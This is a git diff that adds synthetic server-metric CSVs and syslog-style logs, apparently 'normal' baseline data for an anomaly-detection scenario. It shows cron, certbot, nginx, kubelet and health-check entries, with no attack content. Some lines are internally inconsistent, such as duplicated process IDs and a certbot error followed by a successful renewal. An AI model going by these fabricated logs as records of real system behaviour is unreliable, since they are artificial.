+2025-08-19T02:06:05Z,16.09,43.17,36.57,1.05,0.78 +2025-08-19T02:06:10Z,15.55,36.83,30.27,0.97,1.06 +2025-08-19T02:06:15Z,15.53,39.93,34.4,1.04,0.88 +2025-08-19T02:06:20Z,15.78,40.01,32.32,0.77,0.62 +2025-08-19T02:06:25Z,13.4,34.8,35.52,1.09,0.68 +2025-08-19T02:06:30Z,15.24,39.74,29.72,0.82,0.87 +2025-08-19T02:06:35Z,15.44,35.39,22.26,0.9,0.46 +2025-08-19T02:06:40Z,14.35,36.73,26.69,1.04,0.77 +2025-08-19T02:06:45Z,12.12,36.93,33.15,1.31,0.71 +2025-08-19T02:06:50Z,13.25,41.99,32.76,1.1,0.47 +2025-08-19T02:06:55Z,13.59,40.99,29.11,0.84,0.87 +2025-08-19T02:07:00Z,14.94,42.46,26.93,0.85,0.84 +2025-08-19T02:07:05Z,13.6,38.28,45.21,1.1,0.65 +2025-08-19T02:07:10Z,12.52,43.11,29.89,1.17,0.78 +2025-08-19T02:07:15Z,12.61,42.88,29.87,0.88,0.63 +2025-08-19T02:07:20Z,15.19,41.24,32.39,1.0,0.49 +2025-08-19T02:07:25Z,14.54,38.01,31.08,0.96,0.72 diff --git a/norm_dataset/scenario_5/norm_5_12.log b/norm_dataset/scenario_5/norm_5_12.log new file mode 100644 index 0000000000000000000000000000000000000000..ab331dbbfeadfc3331dcb59edbe23c8569da5d45 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_12.log @@ -0,0 +1,29 @@ +Aug 19 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 19 02:00:00 web-app[4567]: GET /api/v1/health status=200 OK +Aug 19 02:00:35 web-app[4567]: GET /api/v1/health status=200 OK +Aug 19 02:00:50 systemd[1]: Starting daily clean up activities... +Aug 19 02:01:10 web-app[4567]: GET /api/v1/health status=200 OK +Aug 19 02:01:40 systemd[1]: Starting daily clean up activities... +Aug 19 02:01:45 web-app[4567]: GET /api/v1/health status=200 OK +Aug 19 02:02:20 web-app[4567]: GET /api/v1/health status=200 OK +Aug 19 02:02:30 CRON[11223]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 02:02:30 systemd[1]: Starting daily clean up activities... +Aug 19 02:02:55 web-app[4567]: GET /api/v1/health status=200 OK +Aug 19 02:03:20 systemd[1]: Starting daily clean up activities... +Aug 19 02:03:30 web-app[4567]: GET /api/v1/health status=200 OK +Aug 19 02:03:45 CRON[12345]: (root) CMD (/usr/bin/certbot renew --quiet) +Aug 19 02:03:50 certbot[12346]: INFO Renewing certificate for example.com +Aug 19 02:03:57 certbot[12346]: INFO Attempting to renew cert (example.com) from /etc/letsencrypt/renewal/example.com.conf produced an unexpected error: None. Skipping. +Aug 19 02:04:02 certbot[12346]: INFO new certificate deployed without reload, fullchain is /etc/letsencrypt/live/example.com/fullchain.pem +Aug 19 02:04:05 certbot[12346]: INFO Certificate renewal successful. +Aug 19 02:04:10 systemd[1]: Reloading nginx.service... +Aug 19 02:04:12 certbot[12346]: INFO Reloading nginx service. +Aug 19 02:04:15 systemd[1]: Reloaded nginx.service. +Aug 19 02:04:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 02:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 02:05:30 web-app[4567]: GET /api/v1/user/99 status=200 OK +Aug 19 02:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 02:06:25 web-app[4567]: GET /api/v1/user/99 status=200 OK +Aug 19 02:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 02:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 02:07:20 web-app[4567]: GET /api/v1/user/99 status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_13.csv b/norm_dataset/scenario_5/norm_5_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..c699f836b460c521a9e3f656a7f61bae25eb1afe --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,10.54,40.42,31.33,0.99,0.82 +2025-07-02T12:00:05Z,11.31,36.18,28.86,0.89,1.01 +2025-07-02T12:00:10Z,12.49,44.4,32.44,1.08,1.08 +2025-07-02T12:00:15Z,14.0,39.43,32.32,1.05,0.82 +2025-07-02T12:00:20Z,13.38,35.87,26.34,1.24,1.13 +2025-07-02T12:00:25Z,10.28,44.86,32.34,0.81,1.11 +2025-07-02T12:00:30Z,13.93,44.32,29.84,1.12,0.73 +2025-07-02T12:00:35Z,14.86,36.28,29.68,1.21,1.04 +2025-07-02T12:00:40Z,14.53,42.04,20.0,0.95,0.88 +2025-07-02T12:00:45Z,13.67,44.66,32.48,0.91,1.15 +2025-07-02T12:00:50Z,13.4,36.07,33.43,1.23,1.13 +2025-07-02T12:00:55Z,13.79,42.05,24.59,1.06,1.06 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index 0000000000000000000000000000000000000000..6512ddc8fb04d92b87a3f50a71aff28b17ee9a4f --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_13.log @@ -0,0 +1,27 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:00 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:00:35 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:10 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:45 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:02:05 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:20 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:55 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:03:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:30 certbot[7890]: INFO Renewing certificate for example.com +Jul 02 12:03:30 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:03:40 certbot[7890]: INFO Certificate renewal successful. +Jul 02 12:03:50 certbot[7890]: INFO Reloading nginx service. +Jul 02 12:03:50 systemd[1]: Reloaded nginx.service. +Jul 02 12:04:05 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:04:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:40 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:15 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:05:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:50 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:06:25 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:06:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:00 web-app[1357]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_14.csv b/norm_dataset/scenario_5/norm_5_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..f99252370ef0f1f55ccfe0a9762d9509ab5d149f --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-18T04:00:00Z,12.263604929929874,43.63270263731034,18.129872938615176,1.016501312270013,0.9953771163369259 +2025-08-18T04:00:05Z,11.094319981235083,43.11907956009689,27.225394064926558,0.8515773829249864,0.9162217188414161 +2025-08-18T04:00:10Z,14.48666749972913,40.71983869890409,30.047553966653386,0.9304062355346864,1.0735617928396577 +2025-08-18T04:00:15Z,13.286384193847937,43.25008853988661,22.43225524066048,0.9056732034314122,0.9608162311683944 +2025-08-18T04:00:20Z,10.715772038603255,39.97740768124027,20.900809438470343,1.1654735443458148,0.7967495626164788 +2025-08-18T04:00:25Z,14.63728390094649,42.15087778727376,31.033500759736313,0.9445881738283081,0.7776444889776919 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+2025-08-18T04:06:30Z,12.932559754392935,43.90050745485091,22.91772396845816,0.909868678591515,0.6904898020499004 +2025-08-18T04:06:35Z,13.247827816674013,44.6687289067781,26.781948811718596,0.9984597963001411,0.8145748471541554 +2025-08-18T04:06:40Z,10.437738300962389,43.309522629194774,29.00879554169972,1.173306140635829,0.7573662040329504 +2025-08-18T04:06:45Z,15.435586434559404,40.7018007678014,18.318011935958786,1.0871739954365147,1.219414805373211 +2025-08-18T04:06:50Z,10.897492841880483,44.86401737273296,23.49607303755441,1.338157936002189,0.6593339394187722 +2025-08-18T04:06:55Z,11.191922281954447,43.25309444105277,20.308473986020772,0.7895427382032716,0.8873884495263147 +2025-08-18T04:07:00Z,10.267716934700411,43.01405213954444,20.276271828714997,1.142084880961826,0.9863071965727522 +2025-08-18T04:07:05Z,12.881660466962337,40.99490483718689,16.772241251842164,1.0569314431649082,0.9669567928175796 +2025-08-18T04:07:10Z,10.416782672356375,40.63030104750508,29.14187389856224,0.9551552273685915,1.1848022265194298 +2025-08-18T04:07:15Z,10.726046433386848,43.881097596286395,28.462321526235787,0.8214623856073555,0.8122592610648475 +2025-08-18T04:07:20Z,14.860974732752274,44.39165740200042,21.11510259896563,0.5564685374008609,1.0474486181129368 +2025-08-18T04:07:25Z,12.984946298133668,45.11401351981828,29.980354065460986,0.8864340213093447,1.017817872183118 diff --git a/norm_dataset/scenario_5/norm_5_14.log b/norm_dataset/scenario_5/norm_5_14.log new file mode 100644 index 0000000000000000000000000000000000000000..42805d2f8f94bf803a239372ef4612b606ab6fcd --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_14.log @@ -0,0 +1,31 @@ +Aug 18 04:00:00 systemd[1]: Starting daily clean up activities... +Aug 18 04:00:00 web-app[3456]: GET /api/v1/health status=200 OK +Aug 18 04:00:20 web-app[3456]: GET /api/v1/health status=200 OK +Aug 18 04:00:35 systemd[1]: Starting daily clean up activities... +Aug 18 04:00:40 web-app[3456]: GET /api/v1/health status=200 OK +Aug 18 04:01:00 web-app[3456]: GET /api/v1/health status=200 OK +Aug 18 04:01:10 systemd[1]: Starting daily clean up activities... +Aug 18 04:01:20 web-app[3456]: GET /api/v1/health status=200 OK +Aug 18 04:01:40 web-app[3456]: GET /api/v1/health status=200 OK +Aug 18 04:01:45 systemd[1]: Starting daily clean up activities... +Aug 18 04:02:00 web-app[3456]: GET /api/v1/health status=200 OK +Aug 18 04:02:20 systemd[1]: Starting daily clean up activities... +Aug 18 04:02:20 web-app[3456]: GET /api/v1/health status=200 OK +Aug 18 04:02:40 web-app[3456]: GET /api/v1/health status=200 OK +Aug 18 04:02:55 systemd[1]: Starting daily clean up activities... +Aug 18 04:03:00 web-app[3456]: GET /api/v1/health status=200 OK +Aug 18 04:03:20 CRON[8899]: (root) CMD (/usr/bin/certbot renew --quiet) +Aug 18 04:03:25 certbot[8901]: INFO: Renewing certificate for your-domain.com. +Aug 18 04:03:40 certbot[8901]: INFO: Certificate renewal successful. +Aug 18 04:03:45 certbot[8901]: INFO: Reloading nginx service. +Aug 18 04:03:50 systemd[1]: Reloaded nginx.service. +Aug 18 04:04:30 web-app[3456]: GET /api/v1/user/99 status=200 OK +Aug 18 04:04:35 sshd[9102]: Accepted publickey for user from 192.168.1.100 port 22 +Aug 18 04:05:00 web-app[3456]: GET /api/v1/user/99 status=200 OK +Aug 18 04:05:30 web-app[3456]: GET /api/v1/user/99 status=200 OK +Aug 18 04:05:30 sshd[9102]: Accepted publickey for user from 192.168.1.100 port 22 +Aug 18 04:06:00 web-app[3456]: GET /api/v1/user/99 status=200 OK +Aug 18 04:06:25 sshd[9102]: Accepted publickey for user from 192.168.1.100 port 22 +Aug 18 04:06:30 web-app[3456]: GET /api/v1/user/99 status=200 OK +Aug 18 04:07:00 web-app[3456]: GET /api/v1/user/99 status=200 OK +Aug 18 04:07:20 sshd[9102]: Accepted publickey for user from 192.168.1.100 port 22 diff --git a/norm_dataset/scenario_5/norm_5_15.csv b/norm_dataset/scenario_5/norm_5_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..2f7b3dde79b5eeb6c465a14355e155cc1ab2f3c2 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,15.99,40.15,26.88,1.29,1.0 +2025-08-19T10:00:05Z,14.72,41.48,22.43,0.71,1.21 +2025-08-19T10:00:10Z,16.3,38.99,21.79,1.23,0.88 +2025-08-19T10:00:15Z,18.05,39.58,26.45,1.0,0.98 +2025-08-19T10:00:20Z,14.53,39.5,24.33,0.8,1.04 +2025-08-19T10:00:25Z,14.53,37.92,27.14,1.09,0.82 +2025-08-19T10:00:30Z,18.16,40.58,26.42,1.04,0.94 +2025-08-19T10:00:35Z,16.53,40.55,24.78,0.88,0.9 +2025-08-19T10:00:40Z,14.06,40.19,22.46,1.01,0.92 +2025-08-19T10:00:45Z,16.09,39.85,20.46,0.92,0.75 +2025-08-19T10:00:50Z,14.07,38.1,23.66,1.02,0.9 +2025-08-19T10:00:55Z,14.07,39.62,27.57,1.13,1.0 +2025-08-19T10:01:00Z,15.48,39.76,25.64,1.32,1.19 +2025-08-19T10:01:05Z,11.17,39.09,21.26,0.75,1.09 +2025-08-19T10:01:10Z,11.55,40.07,25.52,1.43,1.33 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-0,0 +1,14 @@ +Aug 19 10:00:25 web-app[1567]: GET /api/v1/health status=200 OK +Aug 19 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 19 10:02:05 web-app[1567]: GET /api/v1/user/42 status=200 OK +Aug 19 10:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 19 10:03:30 CRON[8891]: (root) CMD (certbot renew --quiet --post-hook 'systemctl reload nginx') +Aug 19 10:03:35 certbot[8893]: INFO: Renewing certificate for example.com. +Aug 19 10:03:50 certbot[8893]: INFO: Certificate renewal successful. +Aug 19 10:03:52 certbot[8893]: INFO: Running post-hook 'systemctl reload nginx'. +Aug 19 10:03:53 systemd[1]: Reloading nginx - high performance web server. +Aug 19 10:03:54 systemd[1]: Reloaded nginx - high performance web server. +Aug 19 10:05:00 web-app[1567]: GET /api/v1/health status=200 OK +Aug 19 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 19 10:06:40 web-app[1567]: GET /api/v1/metrics status=200 OK +Aug 19 10:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_5/norm_5_16.csv b/norm_dataset/scenario_5/norm_5_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..2484bed71fb6ce9795c1d7c8437c09ada8629e79 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,14.42001794042916,37.83499628855118,33.93707037315122,0.9110162966313203,0.5425582116278196 +2025-08-22T10:00:05Z,18.98127101421241,36.88629627171237,31.884888814387207,0.6578835158765413,0.7829114906499699 +2025-08-22T10:00:10Z,12.53023297980953,42.14336427443039,27.28689954715202,0.9426995718769865,0.6972132514155642 +2025-08-22T10:00:15Z,15.517535410366893,38.9127691398028,27.852396538293622,1.164977888577554,0.8098843258225524 +2025-08-22T10:00:20Z,15.253553750856373,37.080144814196615,30.116235219270948,0.9440266998315957,0.6295955973733506 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+2025-08-22T10:07:05Z,18.863660715598968,37.246110525740775,34.41938140700288,0.8432964041176455,1.0050400291292654 +2025-08-22T10:07:10Z,12.559069957678062,39.25344088643924,25.45252651637324,1.164244769243357,0.6144886675353791 +2025-08-22T10:07:15Z,17.375396618158316,43.59514947072415,28.428423009447314,1.0229316298674718,0.727880982441399 +2025-08-22T10:07:20Z,16.13038201605953,38.467004890494586,40.26889098097763,0.8707791358570609,0.5644944757301791 +2025-08-22T10:07:25Z,12.181293147659886,39.30328031953926,26.753141013750316,0.6777746324954379,1.1740822276778924 diff --git a/norm_dataset/scenario_5/norm_5_16.log b/norm_dataset/scenario_5/norm_5_16.log new file mode 100644 index 0000000000000000000000000000000000000000..de031e1f56d317484c36df9680d05a8a06f9101b --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_16.log @@ -0,0 +1,23 @@ +Aug 22 10:00:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:35 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:01:10 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:01:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:45 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:02:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:02:55 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:03:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:20 CRON[4567]: (root) CMD (certbot renew --quiet) +Aug 22 10:03:20 certbot[4568]: INFO: Renewing certificate for example.com. +Aug 22 10:03:25 certbot[4568]: INFO: Certificate renewal successful. +Aug 22 10:03:35 certbot[4568]: INFO: Reloading nginx service. +Aug 22 10:03:35 systemd[1]: Reloading A high performance web server and a reverse proxy server. +Aug 22 10:04:05 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:04:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:05:15 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:05:50 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:06:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:25 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:07:00 web-app[1234]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_17.csv b/norm_dataset/scenario_5/norm_5_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..aaa8c9a4aa9b609c5c6153671b045b122ccf93f1 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,13.399523269474003,40.39854825099547,21.705115398320117,1.0155279546868328,0.9310364165172056 +2025-08-22T10:00:05Z,12.368959596922934,40.82377869864659,21.158863420492057,1.193664447983161,1.0145919223320155 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b/norm_dataset/scenario_5/norm_5_17.log new file mode 100644 index 0000000000000000000000000000000000000000..cd0cdb2614ce903d365f7494f9289540415fac76 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_17.log @@ -0,0 +1,21 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:25 web-app[1357]: GET /api/v1/status status=200 OK +Aug 22 10:00:35 web-app[1357]: GET /api/v1/user/42 status=200 OK +Aug 22 10:01:10 web-app[1357]: GET /api/v1/user/42 status=200 OK +Aug 22 10:01:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:45 web-app[1357]: GET /api/v1/user/42 status=200 OK +Aug 22 10:02:20 web-app[1357]: GET /api/v1/user/42 status=200 OK +Aug 22 10:02:55 web-app[1357]: GET /api/v1/user/42 status=200 OK +Aug 22 10:03:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:30 web-app[1357]: GET /api/v1/user/42 status=200 OK +Aug 22 10:03:40 certbot[4567]: INFO Renewing certificate for example.com +Aug 22 10:03:45 certbot[4567]: INFO Certificate renewal successful. +Aug 22 10:03:50 systemd[1]: Reloading The NGINX HTTP and Reverse Proxy Server. +Aug 22 10:03:50 nginx[1122]: INFO Reloading nginx service. +Aug 22 10:04:30 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:40 web-app[1357]: GET /api/v1/user/42 status=200 OK +Aug 22 10:05:15 web-app[1357]: GET /api/v1/user/42 status=200 OK +Aug 22 10:05:50 web-app[1357]: GET /api/v1/user/42 status=200 OK +Aug 22 10:06:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:06:25 web-app[1357]: GET /api/v1/user/42 status=200 OK +Aug 22 10:07:00 web-app[1357]: GET /api/v1/user/42 status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_18.csv b/norm_dataset/scenario_5/norm_5_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..5f4f173e18775ae035f0785db7eef223a3d5c147 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_18.csv @@ -0,0 +1,91 @@ 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up activities... +Aug 15 10:01:00 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 15 10:01:10 systemd[1]: Starting daily clean up activities... +Aug 15 10:01:45 systemd[1]: Starting daily clean up activities... +Aug 15 10:01:50 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 15 10:02:20 systemd[1]: Starting daily clean up activities... +Aug 15 10:02:40 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 15 10:03:20 CRON[4521]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 15 10:03:25 certbot[4525]: INFO: Renewing certificate for example.com. +Aug 15 10:03:35 certbot[4525]: INFO: Certificate renewal successful. +Aug 15 10:03:40 certbot[4525]: INFO: Reloading nginx service. +Aug 15 10:03:45 systemd[1]: Reloading A high performance web server and a reverse proxy server. +Aug 15 10:03:50 systemd[1]: Reloaded A high performance web server and a reverse proxy server. +Aug 15 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:04:35 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 15 10:04:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:05:30 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 15 10:06:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:06:25 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 15 10:06:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:07:20 web-app[1234]: GET /api/v1/heartbeat status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_19.csv b/norm_dataset/scenario_5/norm_5_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..5115132e7158f850a0d275a66e0484bb2f5f7481 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-03T10:07:20Z,19.003572870770576,39.711250732954674,21.12767956976023,1.1821052606191191,1.0141685537609297 +2025-07-03T10:07:25Z,14.998827244526526,38.57432769698267,27.33953613342883,1.2248044769433728,1.0570540078074488 diff --git a/norm_dataset/scenario_5/norm_5_19.log b/norm_dataset/scenario_5/norm_5_19.log new file mode 100644 index 0000000000000000000000000000000000000000..1c1af2a2845fe5b32abca8fb5e7c9ec1b8fcc7c7 --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_19.log @@ -0,0 +1,11 @@ +Jul 03 10:00:25 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:30 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 03 10:03:20 certbot[7890]: INFO: Attempting to renew certificate for example.com +Jul 03 10:03:30 certbot[7890]: INFO: Renewing certificate for example.com. +Jul 03 10:04:05 certbot[7890]: INFO: Certificate renewal successful. +Jul 03 10:04:10 certbot[7890]: INFO: Reloading nginx service. +Jul 03 10:04:15 systemd[1]: Reloaded nginx.service - A high performance web server and a reverse proxy server. +Jul 03 10:05:00 web-app[1234]: GET /api/v1/user/56 status=200 OK +Jul 03 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:05 CRON[9012]: (root) CMD (run-parts --report /etc/cron.daily) diff --git a/norm_dataset/scenario_5/norm_5_2.csv b/norm_dataset/scenario_5/norm_5_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..7304d358d82e956165cd972681d1c63b0c545e3a --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.379840372153133,39.571167761760584,37.70533371900529,1.052353019697167,1.0704588703227675 +2025-07-02T12:00:05Z,16.911078572063946,40.62885504397985,28.47390879474339,1.0872437029331943,0.7166751457173263 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+2025-07-02T12:06:50Z,15.598224482713155,40.87363335662566,24.813648282488515,1.1670195394298257,0.7310422091155834 +2025-07-02T12:06:55Z,13.598796103334692,40.85166391369295,24.735735301419176,0.9966393189992732,1.2549040488532572 +2025-07-02T12:07:00Z,13.817236541118701,39.309603470353224,20.887362401255288,0.6320089802809341,0.8600598921189246 +2025-07-02T12:07:05Z,18.218092348308602,40.19661320393021,27.397469430069975,1.0332438619064432,0.660367361848696 +2025-07-02T12:07:10Z,18.21691985901094,42.31720328869039,26.987266654101177,0.6908959590543011,0.7844423676493789 +2025-07-02T12:07:15Z,16.343472512155927,39.09108234574771,28.32320607325874,0.8501658451663714,0.9172552078376521 +2025-07-02T12:07:20Z,17.976682940097536,38.88147476866502,32.11846247720686,0.7569289955035001,0.8720001424932633 +2025-07-02T12:07:25Z,11.534784890784872,39.81679706398583,31.677533308390352,0.8794199255357773,0.8022800959545475 diff --git a/norm_dataset/scenario_5/norm_5_2.log b/norm_dataset/scenario_5/norm_5_2.log new file mode 100644 index 0000000000000000000000000000000000000000..a43ac5ccc8c723208a6038ad881f6e3c9abd11ee --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_2.log @@ -0,0 +1,20 @@ +Jul 02 12:00:00 web-app[1889][1889]: GET /api/v1/health status=200 OK +Jul 02 12:00:15 systemd[1]: Starting daily user cleanup... +Jul 02 12:00:30 web-app[1889][1889]: GET /api/v1/health status=200 OK +Jul 02 12:01:05 web-app[1889]: GET /api/v1/health status=200 OK +Jul 02 12:01:30 web-app[1889][1889]: GET /api/v1/health status=200 OK +Jul 02 12:02:05 CRON[5150]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:30 web-app[1889][1889]: GET /api/v1/health status=200 OK +Jul 02 12:02:55 web-app[1889]: GET /api/v1/health status=200 OK +Jul 02 12:03:00 CRON[5201]: (root) CMD (/usr/bin/certbot renew --quiet) +Jul 02 12:03:10 certbot[5203]: INFO Renewing certificate for example.com +Jul 02 12:03:35 certbot[5203]: INFO Certificate renewal successful. +Jul 02 12:03:36 certbot[5203]: INFO Reloading nginx service. +Jul 02 12:03:37 systemd[1]: Reloading A high performance web server and a reverse proxy server. +Jul 02 12:04:05 web-app[1889]: GET /api/v1/health status=200 OK +Jul 02 12:04:30 web-app[1889][1889]: GET /api/v1/health status=200 OK +Jul 02 12:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:30 web-app[1889][1889]: GET /api/v1/health status=200 OK +Jul 02 12:06:05 web-app[1889]: GET /api/v1/health status=200 OK +Jul 02 12:06:30 web-app[1889][1889]: GET /api/v1/health status=200 OK +Jul 02 12:07:05 systemd[1]: Finished daily user cleanup. diff --git a/norm_dataset/scenario_5/norm_5_20.csv b/norm_dataset/scenario_5/norm_5_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..ad23b58c505676097994ce62740256720268a1ae --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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GET /api/v1/user/34 status=200 OK +Aug 15 10:01:45 web-app[1456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:02:05 systemd[1]: Starting daily clean up activities... +Aug 15 10:02:20 web-app[1456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:02:55 web-app[1456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:03:25 certbot[6789]: INFO: Renewing certificate for example.com. +Aug 15 10:03:30 web-app[1456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:03:35 certbot[6789]: INFO: Certificate renewal successful. +Aug 15 10:03:40 systemd[1]: Reloading NGINX - high performance web server. +Aug 15 10:04:05 web-app[1456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:04:10 systemd[1]: Starting daily clean up activities... +Aug 15 10:04:40 web-app[1456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:05:15 web-app[1456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:05:50 web-app[1456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:06:15 systemd[1]: Starting daily clean up activities... +Aug 15 10:06:25 web-app[1456]: GET /api/v1/user/34 status=200 OK +Aug 15 10:07:00 web-app[1456]: GET /api/v1/user/34 status=200 OK diff --git a/norm_dataset/scenario_5/norm_5_21.csv b/norm_dataset/scenario_5/norm_5_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..3201c18e3faf6fb8d9b12d31a4f6d95a2496e00b --- /dev/null +++ b/norm_dataset/scenario_5/norm_5_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,11.87,35.6,23.41,1.12,0.86 +2025-08-22T10:00:05Z,14.75,38.57,21.13,1.12,0.96 +2025-08-22T10:00:10Z,13.66,38.8,29.25,1.15,0.88 +2025-08-22T10:00:15Z,12.99,37.81,28.77,1.17,0.92 